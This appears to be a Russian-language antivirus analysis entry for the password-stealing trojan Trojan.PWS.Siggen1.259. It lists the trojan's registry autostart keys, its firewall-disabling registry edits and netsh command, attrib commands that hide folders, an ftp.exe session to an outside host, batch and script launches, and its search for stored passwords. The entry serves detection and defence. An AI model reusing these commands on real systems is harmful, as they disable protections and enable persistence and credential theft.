Trojan.PWS.Siggen1.259

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Msn\Msn2\aatu.bat'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Msn\Msn2\aatu.bat'

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Создает и запускает на исполнение:

Запускает на исполнение:

<SYSTEM32>\attrib.exe +r +a +s +h "%ALLUSERSPROFILE%\Msn"
<SYSTEM32>\netsh.exe firewall set opmode disable
<SYSTEM32>\attrib.exe +r +a +s +h "%ALLUSERSPROFILE%\Msn\Msn2"
<SYSTEM32>\ftp.exe -i -v -s:bms.klm ftp.freehostia.com
<SYSTEM32>\attrib.exe +r +a +s +h "C:\users\public\public document"
<SYSTEM32>\cmd.exe /c ""C:\users\public\Public Document\icts.bat" "
<SYSTEM32>\wscript.exe "C:\users\public\Public Document\sas.vbs"
%WINDIR%\regedit.exe /s "conf.reg"
<SYSTEM32>\xcopy.exe /h /e /r /k /c /q /y *.* "%ALLUSERSPROFILE%\Msn\Msn2"
<SYSTEM32>\rundll32.exe <SYSTEM32>\shell32.dll,OpenAs_RunDLL C:\users\public\Public Document\pic.pdf

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:

Изменения в файловой системе:

Создает следующие файлы:

Перемещает следующие файлы:

C:\users\public\Public Document\wmsn.klm в C:\users\public\Public Document\PIC_201223Tu_ _0137500 .002
C:\users\public\Public Document\msn.klm в C:\users\public\Public Document\PIC_201223Tu_ _0137500 .001

Сетевая активность:

Подключается к: